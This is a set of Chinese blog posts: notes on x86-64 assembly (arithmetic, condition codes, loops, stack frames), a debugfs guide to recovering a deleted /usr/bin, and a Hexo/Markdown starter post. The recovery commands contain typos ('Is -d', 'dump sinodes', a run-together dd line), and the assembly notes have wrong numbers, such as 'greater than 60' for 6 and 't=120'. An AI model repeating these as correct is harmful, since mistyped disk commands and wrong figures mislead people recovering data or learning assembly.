接下来,关于z*12的乘法运算会有一些复杂,需要分成两步。 第一步首先计算3*z的数值.具体过程如图所示 第二条leaq指令执行完毕,此时寄存器rdx中保存的值是3*z 第二步再把(3*z)作为一个整体乘以4 通过这两步运算最终得到z*12 此时,相信大家会有疑惑,为什么不能使用图中的这条指令(最后一条)直接一步得到我们期望的结果 这里主要是由于比例因子的取值只能是1,2,4,8这四个数中的一个,因此需要将12进行分解。 接下来我们看一组一元操作指令 这一组指令只有一个操作数,因此该操作数既是源操作数,也是目的操作数。 操作数可以是寄存器,也可以是内存地址 我们再来看一组二元操作指令 这一组操作指令包含两个操作数 第一个操作数是源操作数,这个操作数可以是立即数、寄存器或者内存地址. 第二个操作数既是源操作数,也是目的操作数.这个操作数可以是寄存器或者是内存地址,但不能是立即数 接下来我们看一组例子 一开始,内存以及寄存器中所保存的数据如图所示 加法指令addq是将内存地址0x100内的数据与寄存器rcx相加,二者之和再存储到内存地址0x100处。 该指令执行完毕后,内存地址0x100处所存储的数据由0xFF变成0x100 具体过程如图所示 减法指令subq是将内存地址0x108内的数据减去寄存器rdx内的数据,二者之差存储到内存地址0x108处。 该指令执行完毕后,内存地址0x108处所存储的数据由0xAB变成0xA8 对于加一指令,就是将内存地址0x110内的存储数据加1 结果是内存地址0x100处所存储的数据由0x13变成了0x14,最后一条减法指令是将寄存器rax内的值减去寄存器rdx内的值 最终寄存器rax的值由0x100变成0xFD 更多指令的相关练习,大家可以做一做原书中的习题。 在之前的内容中,我们讲过移位操作. 图中的这一组指令是用来进行移位运算的。 左移指令有两个.,分别为SAL和SHL 二者的效果是一样的,都是在右边填零. 右移指令不同,分为算术右移和逻辑右移.算术右移需要填符号位,逻辑右移需要填零。 这与C语言中所讲述的移位操作是一致的 对于移位量k,可以是一个立即数,或者是存放在寄存器cl中的数 对于移位指令只允许特定的寄存器cl作为操作数,其他的寄存器不行,这里需要特别注意一下。 由于寄存器cl的长度为8,原则上移位量的编码范围可以达到$2^8-1(255)$ 实际上,对于w位的操作数进行移位操作,移位量是由寄存器cl的低m位来决定 也就是说,对于指令salb.当前目的操作数是8位,移位量由寄存器cl的低8位来决定 对于指令salw,移位量则是由寄存器cl的低4位来决定 以此类推,双字对应的就是低5位,四字对应的就是低6位 接下来,我们通过一个例子来讲述一下移位指令的用途 图中的这段代码,涉及了多种操作 我们重点看一下$z*48$这段代码所对应的汇编指令 这个计算过程被分解成了两步。 第一步,首先计算$3*z$,由指令leaq来实现.计算结果保存到了寄存器rax中 第二步,将寄存器rax进行左移4位,左移4位的操作是等效于乘以$2^4$,也就是乘以16 通过一条leaq指令和一条左移指令,来实现乘法操作 也许大家会有这样的疑惑,为什么编译器不直接使用乘法指令来实行这个运算的呢? 主要是因为乘法指令的执行需要更长的时间 因此,编译器在生成汇编指令时,会优先考虑更高效的方式。 此外,还有一些特殊的算术指令,这里就不一一展开讲述了感兴趣的同学可以去了解一下 对于汇编指令的学习,最关键的是了解指令相关的基本概念,并不需要去记住指令的细枝末节 学会查阅指令手册,能够找到需要的信息即可。 指令与条件码 在C语言中,有一类语句需要满足条件才能执行 例如条件语句,循环语句等,他们需要根据数据测试的结果来决定操作执行的顺序。 这部分内容,我们来看一下与控制流相关的指令。 在之前的内容中,我们提到过算术和逻辑运算指令 例如下图中的这条减法指令的执行需要用到算术逻辑单元。简称ALU ALU从寄存器中读取数据后,执行相应的运算,然后将运算结果返回到目的寄存器rdx 为了方便理解,用这个简单的示意图来表示. ALU除了执行算术和逻辑运算指令外,还会根据该运算的结果去设置条件码寄存器, 接下来,我们详细介绍一下条件码寄存器的相关知识 条件寄存器,它是由CPU来维护的,长度是单个比特位,它描述了最近执行操作的属性 例如ALU执行两条连续的算术指令。$t_1$时刻执行指令1,$t_2$执行指令2 $t_1$时刻条件寄存器中保存的是指令1的执行结果的属性 $t_2$时刻,条件码寄存器中的内容将被下一条指令所覆盖。 接下来,我们介绍几个常用的条件码 CF—进位标志,当CPU最近执行的一条指令最高位产生了近进位。 进位标志(CF)会被置1,它可以用来检查无符号数操作的溢出 例如,无符号数a和b相加,当a=255,b=1时,由于最高位会发生进位操作 相加的结果发生溢出,此时进位标志(CF)被置1 ZF—零标志,当最近操作结果等于零时,零标志(ZF)会被置1 SF—符号标志,当最近的操作结果小于零时,符号标识(SF)会被置1 OF—溢出标志,针对有符号数.最近的操作导致正溢出或者负溢出时,溢出标志(OF)会被置1 以上我们提到了这几个标志位是比较常用的条件码寄存器. 条件码寄存器的值是由ALU在执行算术和逻辑运算指令时写入的 图中的这些算术和逻辑运算指令会改变条件码寄存器的内容,对于不同的指令也定义了相应的规则来设置条件码寄存器. 例如逻辑操作指令xor,进位标志(CF)和溢出标志(OF)会置0 对于加一指令和减一指令,会设置溢出标志(OF)和零标志(ZF),但不会改变进位标志 具体原因,我们就不做深入的探讨了。 除此之外,还有两类指令可以设置条件码寄存器.cmp指令和test指令 cmp指令是根据两个操作数的差来设置条件码寄存器,cmp指令和减法指令类似,也是根据两个操作数的差来设置条件码 二者不同的是,cmp指令只是设置条件码寄存器,并不会更新目的寄存器的值 test指令和and指令类似,同样test指令只是设置条件码寄存器,而不改变目的寄存器的值 讲完了条件码的设置,我们再来看一下条件码的使用 为了方便理解,我们通过一个例子来看一下。 图中C 代码的含义是比较a和b的大小 当a等于b时函数返回1,否则返回0.这段代码对应的汇编指令,如图所示 根据寄存器的使用惯例,参数a存放在寄存器rdi中,参数b存放在寄存器rsi中.指令cmp对应的操作如图所示(a-b) 根据(a-b)的结果设置条件码寄存器.当a和b的值相等时,指令cmp会将零标志位设置为1 接下来的这条指令sete看起来有点费解了,这是因为通常情况下,并不会直接去读条件码寄存器,其中一种方式是根据条件码的某种组合.通过set类指令,将一个字节设置为0或者1 在这个例子,指令sete根据零标志位(ZF)的值对寄存器al进行赋值,后缀是equal的缩写. 如果零标志等于1,指令sete将寄存器al设置为1 如果零标志等于0,指令sete将寄存器al设置为0 然后mov指令对寄存器al进行零扩展,最后返回判断结果 相等的情况比较简单,也容易理解。 接下来我们看一个稍微复杂的例子 例如图中示例的判断条件由a等于b变成了a小于b 经过编译器生成的汇编指令也发生了改变.通过对比之前相等的情况,我们可以发现指令sete变成了指令setl.指令setl的含义是如果a小于b,将寄存器al设置为1 其中后缀l是less的缩写,表示“在小于时设置”,而不是表示大小long word.这里特别注意一下 相对于相等的情况,判断小于的情况要稍微复杂一点,需要根据符号标识(SF)和溢出标志(OF)的异或结果来判定。 为了方便理解,我们还是通过简单的例子来解释一下. 两个有符号数相减,当没有发生溢出时. 如果a小于b,结果为负数,那么符号标识(SF)被置为1 如果a大于b,结果为正数,那么符号标识(SF)就不会被置为1 那么是不是根据符号标志(SF)就能给出判断结论了呢? 我们来看一个例子, 当 $a=-2,b=127$ 时.由于发生负溢出,结果t=120期大于零。此时符号标志(SF)不会被置1,但溢出标志(OF)会置1,因此仅仅通过符号标识无法判断a是否小于b 我们再来看一个例子,当 $a=1,b=-128$ 时,由于发生了正溢出,结果 $t=-127$ .虽然$a>b$,但是由于溢出导致了结果$t<0$.此时符号标识(SF)和溢出标志(OF)都会被置为1. 综上所述所有的情况,根据符号标识和溢出标志的异或结果,可以对a小于b是否为真做出判断. 对于其他的判断情况,我们可以通过条件码的组合来实现。 虽然看上去相对复杂一点,不过原理都是一致的。 对于无符号数的比较情况,需要注意一下. 指令cmp会设置进位标志,因而针对无符号数的比较,采用的是进位标志和零标识的组合,具体的条件码组合如图所示. 关于这些条件,把它组合并不需要去记住.了解条件语句的底层实现,这对我们深入理解整个计算机系统会有一定的帮助. 跳转指令与循环 首先,我们看一段C代码. 图中的这个函数是用来计算两数之差的绝对值。这段c代码对应的汇编指令如图所示. 根据前面内容所讲的知识,条件语句x小于y由指令cmp来实现 指令cmp会根据(x-y)的结果来设置符号标志(SF)和溢出标志(OF) 图中的跳转指令jl,根据符号标志(SF)和溢出标志(OF)的异或结果来判断究竟是顺序执行,还是跳转到L4处执行 当x大于y时,指令顺序执行,然后返回执行结果,L4处的指令不会被执行 当x小于y时,程序跳转到L4处执行,然后返回执行结果 跳转指令会根据条件寄存器的某种组合来决定是否进行跳转.与前文讲的set指令的设置条件是一样的,具体如图所示,这里就不再一一展开讲述了. 对于图中的if-else语句 当满足条件时,程序沿着一条路径执行 当不满足条件是就走另外一条路径。 这种机制比较简单和通用,但是在现代处理器上,它的执行效率可能会比较低。针对这种情况,有一种替代的策略,就是使用数据的条件转移来代替控制的条件转移。 还是针对这两个数的差的绝对值问题 我们给出了另外一种实现方式,具体如图所示。 我们既要计算y-x的值,也要计算x-y的值 分别用两个变量来记录结果,然后再判断x与y的大小。根据测试情况来判断是否更新返回值。 这两种写法看上去差别不大,为什么说右侧写法的执行效率就高呢? 我们来看一下右侧的代码所对应的汇编指令前面的几条指令都是普通的数据传送和减法操作,接下来我们重点看一下这条指令(cmovge) 指令cmove是根据条件码的某种组合来进行有条件的传送数据。 当满足规定的条件时,将寄存器rdx内的数据复制到寄存器rax内。 在这个例子中只有当$x\geq y$时,才会执行这条指令。 更多条件传送指令,如图所示 为什么基于条件传送的代码会比基于跳转指令的代码效率高,这里涉及到现代处理器是通过流水线来获得高性能。 当遇到跳转指令时,处理器会根据分支预测器来猜测每条跳转指令是否执行。当发生错误预测时,会浪费大量的时间,导致程序性能严重下降。 关于分支的更多内容,在第四章流水线的实现中会有更加详细的讲解。 C语言中提供了三种循环结构,即do-while、while以及for语句 汇编语言中没有定义专门的指令来实现循环结构。 循环语句是通过条件测试与跳转的组合来实现的。 接下来,我们分别用这三种循环结构来实现N的阶乘。 首先看一下do-while的实现方式,具体如图所示 我们可以发现指令cmp与跳转指令组合实现了循环操作。 当n大于1时,程序跳转到L2处执行循环,直到n的值减小到1,循环结束。对比do-while循环,while循环的实现方式如图所示 通过C代码的对比,我们可以发现这两种循环的差别在于N大于1这个循环测试的位置不同,do-while循环是先执行循环体的内容,然后再进行循环测试。while循环则是先进行循环测试,根据测试结果是否执行循环体的内容, 接下来,我们看一下For循环的基本形式,除了一种特殊情况外,这样的for循环与图中的while循环的功能是一致的。 下面,我们看一下for循环是如何实现n的阶乘的 图中的C代码采用了最自然的方式,从2一直乘到n。这与之前do-while循环以及while循环的实现方式有较大的差别。 根据刚才提到的模板,我们将这个for循环转换成while循环,具体代码如图所示。 对比for循环和while循环产生的汇编代码可以发现 除了这一句跳转指令不同,其他部分都是一致的 需要注意一下,这两个汇编代码是采用-Og选项产生的。 综上所述,三种形式的循环语句都是通过条件测试和跳转指令来实现 C语言还提供了switch语句,它可以根据一个整数的索引值进行多重的分支。 在针对一个测试有多种可能的结果时,switch语句特别有用。 switch语句通过跳转表这种数据结构,使得实现更加有效。 接下来我们看一下这段代码所对应的汇编指令。 指令cmp判断参数n与立即数6的大小,如果$n>6$程序跳转到default所对应的L8程序段 对于case 0~case 6的情况,可以通过跳转表来访问不同的分支。 C代码将跳转表声明为一个长度为7的数组,每个元素都是一个指向代码位置的指针,具体对应关系如图所示。 数组的长度为7,是因为需要覆盖case 0~case 6的情况,对于重复的情况case 4和case 4,使用了相同的标号 对于缺失的case 1和case 5的情况,使用默认情况的标号。 在这个例子中,程序使用跳转表来处理多重分支,甚至当switch有上百种情况时,虽然跳转表的长度会有增加,但是程序的执行只需要一次跳转也可以处理复杂的分支情况。 与使用一组很长的if-else相比,使用跳转表的优点是执行switch语句的时间与case的数量是无关的 因此,在处理多重分支时,与一组很长的if-else相比,switch语句的执行效率要高。 过程(函数调用) 在大型软件的构建中,需要对复杂的功能进行切分。 过程提供了一种封装代码的方式,它可以隐藏某种行为的具体实现,同时提供清晰简洁的接口定义。 在不同的编程语言中,过程的具体实现又是多种多样的 例如,C语言中的函数,Java语言中的方法等。 接下来,我们以C语言中的函数调用为例,介绍一下过程的机制。 为了方便讨论,假设函数P调用函数Q,函数Q执行完返回函数P 这一系列操作包括图中的一个或者多个机制。 接下来,我们将详细介绍一下过程的相关内容 在之前的内容中,我们提到过程序运行时的内存分布,其中栈为函数调用提供了后进先出的内存管理机制 在函数P调用函数Q的例子中,当函数Q正在执行时,函数P以及相关调用链上的函数都会被暂时挂起。 我们先来介绍一下栈帧的概念,当函数执行所需要的存储空间超出寄存器能过存放的大小时,就会借助栈上的存储空间 我们把这部分存储空间称为函数的栈帧,对于函数P调用函数Q的例子,包括较早的帧、调用函数P的帧,还有正在执行函数Q的帧,具体如图所示。 当函数P调用函数Q时,会把返回地址压入栈中,该地址指明了当函数Q执行结束返回时,要从函数P的哪个位置继续执行。 这个返回地址的压栈操作并不是由指令push来执行的,而是由函数调用指令call来实现的 我们以main函数调用multore函数为例,来解释一下指令call和指令ret的执行情况。 由于涉及地址的操作,我们需要查看这两个函数的反汇编代码,具体内容可以通过图中的命令得到。 我们节选了相关部分的反汇编代码,具体如图所示。 这一条call指令对于multstore函数的调用 指令call不仅仅是将函数multstore的第一条指令的地址写入到程序指令寄存器rip中,以此实现函数调用,同时还要将返回地址压入栈中,这个返回地址就是函数multistore调用执行完毕后,下一条指令的地址。 当函数multistore执行完毕,指令ret从栈中将返回地址弹出,写入到指令寄存器rip中,函数返回,继续执行main函数中的相关操作。 以上整个过程就是函数调用与返回所涉及的操作 说完了返回地址,我们再来看一下参数传递。 如果一个函数的参数数量大于6,超出的部分就要通过栈来传递。 假设参数P有n个整形参数,当n的值大于60时,参数7至参数n需要用到栈来传递。参数1至参16的传递可以使用相应的寄存器,具体如图所示。 接下来,我们看一个参数传递的示例。 图中的函数proc有8个参数,包括字节数、不同的整数以及不同类型的指针。 参数1至参数6是通过寄存器来传递的,参数7和参数8是通过栈来传递的 这里有两点,需要注意一下。第一通过栈来传递参数时,所有数据的大小都是向8的倍数对齐。虽然变量a4只占一个字节,但是仍然为其分配了8个字节的存储空间。由于返回地址占用了栈顶的位置。 所以这两个参数距离栈顶指针的距离分别为8和16 具体如图所示 另外还有一点需要注意,就是使用寄存器进行参数传递时,寄存器的使用是有特殊顺序规定的。 此外,寄存器名字的使用取决于参数传递的大小,如果第一个参数大小是4字节,需要用寄存器edi来保存。 当代码中对一个局部变量使用地址运算时,此时,我们需要在栈上为这个局部变量开辟相应的存储空间。 接下来,我们看一个与地址运算符相关的例子。函数caller定义了两个局部变量arg1和arg2。 函数swap的功能是交换两个变量的值,最后返回二者之和,我们通过分析函数caller的汇编代码来看一下地址运算符的处理方式 第一条减法指令将栈顶指针减去16,它表示的含义是在栈上分配16个字节的空间,具体如图所示。 根据这两条mov指令可以推断出变量arg1和arg2存储在函数caller的栈帧上 接下来分别计算变量的arg1和arg2存储地址。 参数准备完毕。执行call指令调用swap函数,最后函数caller返回之前。通过栈顶指针加上16的操作来释放栈帧。 我们再来看一个稍微复杂的例子, 根据图中的C代码,我们来画一个这个函数的栈帧。 根据变量类型可知$x_1$占8个字节,$x_2$占4个字节,$x_3$占2个字,$x_4$占一个字节。 因此这四个变量在栈帧中的空间分配如图所示。 由于函数proc需要8个参数,因此参数7和参数8需要通过栈帧来传递。 注意,传递的参数需要8字节对齐,而局部变量是不需要对齐的。 从上面的例子我们可以看到,当函数运行需要局部存储空间时,栈提供了内存的分配与回收机制。 在程序执行的过程中,寄存器是被所有函数共享的一种资源。为了避免寄存器使用的过程中出现数据覆盖的问题,处理器规定了寄存器的使用惯例,所有的函数调用都必须遵守这个惯例,对于16个通用寄存器。除了寄存器rsp之外,其他15个寄存器被定义为调用者保存和被调用者保存,具体如图所示 接下来我们看一个栈保存寄存器数值的例子。 由于调用函数Q需要使用寄存器rdi来传递参数,因此函数P需要保存寄存器rdi中的参数x 保存参数x使用了寄存器rbq,根据寄存器使用规则寄存器rbq被定义为被调用者保存寄存器 所以便有了开头的这条指令不是pushq %rbp 至于pushq %rbx也是类似道理 在函数P返回之前使用pop指令恢复寄存器rbp和rbx的值 由于栈的规则是后进先出,所以弹出的顺序与压入的顺序相反 最后,我们再来看一个递归调用的例子。 图中的这段代码是关于N的阶乘的递归实现。 我们假设n=3时,看一下汇编代码的执行情况, 由于使用寄存器rbx来保存n的值。 根据寄存器的使用惯例,首先保存寄存器rbx的值,由于n=3,所以调整指令jle不会跳转到L35处执行。 指令leaq是用来计算n-1,然后再次调用该函数。 注意,此时寄存器rbx内保存的值是3,指令pushq执行完毕后,栈的状态如图所示,继续执行,直到n=1时,程序跳转到L35处执行pop操作。 通过这个例子,我们可以看到递归调用一个函数的本身与调用其他函数是一样的, 每次函数调用都有它自己私有的状态信息,栈分配与释放的规则与函数调用返回的顺序也是匹配的。 不过当n的值非常大时,并不建议使用递归调用。至于原因应该是一目了然了。 数组的分配和访问(开始停更!)

2021/12/9
articleCard.readMore

Linux删文件/文件夹恢复

如果不小心删了/usr/bin整个文件夹,下面是主要的恢复过程,如果是误用rm -rf /* 清看这个文章. 首先遇到这种情況千万要冷静,先把对应目录挂载成只读,或者直接umount该文件所处分区,要避免写操作 下面是主要操作 debugfs debugfs open /dev/sda5 打开误删对象所处磁盘 cd /usr 进入其父目录的父目录 Is -d 找到删除对象的父目录索引值即inode mkdir saved 建立一个临时保存文件的文件夹 rdump saved 输出到该文件夹 mv saved/<inode> bin 将输出内容移回原位 q 退出debugfs 针对文件(参考百度) debugfs open /dev/sda5 打开误删对象所处磁盘 cd /usr 进入其父目录的父目录 Is -d file 找到删除对象的父目录索引值即inode logdump -i 查看节点所在的块 方法1>dump sinodes file 恢复文件 方法2>dd if =/dev/mapper/rootvG-root of=/tmp/test.txt.bak bs=4096count=1 skip=所在块 q 退出debugfs rdump,百度居然没有看到任何提到的这个指令的文章

2021/12/8
articleCard.readMore

Hello World

日期是随便写的,具体啥时间不知道了,当时没完善好相关模版. Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub. Quick Start Create a new post 1 $ hexo new "My New Post" More info: Writing Run server 1 $ hexo server More info: Server Generate static files 1 $ hexo generate More info: Generating Deploy to remote sites 1 $ hexo deploy More info: Deployment Markdown通过简单标记语法,使普通文本内容具有一定格式。但它本身不支持修改字体、字号与颜色等功能的。 但Markdown支持HTML的语法,这就意味着Markdown能够借助HTML实现功能扩展。 一、缩进和空格 格式:  :输入一个空格 :输入一个空格  :输入两个空格 注意:不要忘记分号 示例: 1 &emsp;&emsp;积土成山,风雨兴焉;积水成渊,... 二、居中 格式一 1 <center>内容</center> 格式二 1 2 3 <p align=center>内容</p> 或 <div align=center>内容</div> 三、字体颜色、大小、字体类型 使用font标签以及其三个属性,下面代码的效果便是第3个标题 格式 1 <font color="" size=6 face="">字体颜色、大小、字体类型</font> 四、图片 格式一 1 ![alt 属性文本](图片地址 "可选标题") 格式二 1 <img src="url" width="400" height="400" alt="" title="" style="zoom:50%;"/> 其中, src:该图片的网址 alt:是图片没有加载成功时,显示的文字 title:该图片的标题 style:设置缩放 五、空白行 虽然说markdown能回车换行,但是没办法做到n个空白行,而且。换行的办法就比较多了,因为别忘了,markdown是支持HTML标签的: 使用块标签,撑开一行,如p、div 1 2 3 <p></p> 或 <div></div> 简单点的方法,就直接使用 br 标签 1 内容1<br/><br/>内容2

2021/1/1
articleCard.readMore